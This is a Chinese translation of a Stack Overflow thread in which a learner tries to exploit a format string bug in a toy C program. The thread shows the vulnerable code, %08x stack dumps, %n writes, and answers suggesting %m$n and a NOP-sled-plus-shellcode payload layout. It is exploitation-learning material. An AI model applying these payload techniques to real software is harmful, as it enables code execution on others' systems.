覆盖返回地址的简单格式化字符串攻击

8

是的,已经存在很多类似的问题(5037601、19166698、4855162、14505995、5052648、13409508、7745146、7459630;抱歉,只能提供两个链接,因为我的声望不够高),而且也有一些很好的文章解释这种情况(点击点击,http ://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html)。我已经阅读了它们,我认为我大致明白了,但我仍然无法成功地利用我能想到的最简单的训练玩具示例。

#include <stdio.h>

void f(char* a)
{
    printf("a: %p\n", &a);
    printf(a);
    return;
}

void main(int argc, char** argv)
{
    f(argv[1]); //please ignore the lack of any check
    return;
}

是的,堆栈是可执行的,而且是关闭了内存布局随机化的。每次执行都会给我相同的a地址。例如,我可以输入$ ruby -e 'print "AAAA"+("%08x."*16)',结果如下:

a: 0xbfffece0
AAAAbfffece0.bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.bfffecf0.00000fff.b7fd8420.00000000.41414141.78383025.3830252e.30252e78.252e7838.

现在我可以看到我的输入数据最终存储在内存中。我可以通过$ ruby -e 'print "12345%n"+("%08x."*16)'将一个值写入堆栈,结果如下:

a: 0xbfffece0
12345bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.00000005.00000fff.b7fd8420.00000000.34333231.256e2535.2e783830.78383025.3830252e.30252e78.

显然,我的最终目标可能类似于<something><NOPs><shellcode>,其中<something>覆盖f的返回地址,使程序跳转到NOP滑板上并执行shellcode。但是保存的返回地址的地址好像取决于我的输入,对吗?类似于0xbfffece0 - len(input) - 12,假设有12个字节的序言?也许这个例子并不是那么容易理解...我开始感到困惑了。你有什么想法吗?

实际上,由于 printf 的参数将被推送到堆栈上,因此返回地址的地址会根据您的输入而改变。因此,您的格式字符串必须“消耗”与其本身相同的字节数,以及返回地址之前的所有内容。 - Michael Foukarakis
你可以举一个具体的例子吗?例如,假设有一个50字节的shellcode而没有NOP。 - Bla Blaat
https://dev59.com/-2s05IYBdhLWcg3wFN-8 - w s
是的,我知道,我已经阅读了那篇文章并想在上面链接到它... - Bla Blaat
2个回答

2
另一个想法是使用美元符号:%<距离>$n
引用自Linux的printf manpage:
“在每个需要参数的地方,也可以明确指定要使用哪个参数,通过写入“%m$”来实现。这里的十进制整数m表示所需参数在参数列表中的位置,从1开始索引。Source
例如:%5$n将写入堆栈顶部第5个地址。

1
我建议您使用一长串“%08x”格式的字符来确定输入中正确的“%n”值,以覆盖返回地址。
12345%n%08x%08x%08x%08x........%08x%08x

下一步,您可以修改输入,将“%08x”字符串的一部分替换为NOP sled + shellcode,保持输入长度不变。
12345%n\x90\x90\x90\x90...\x90\x90SHELLCODE

请根据需要修改%n格式说明符,以编写正确的值。

这将确保输入的大小以及保存的返回地址的位置保持不变。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接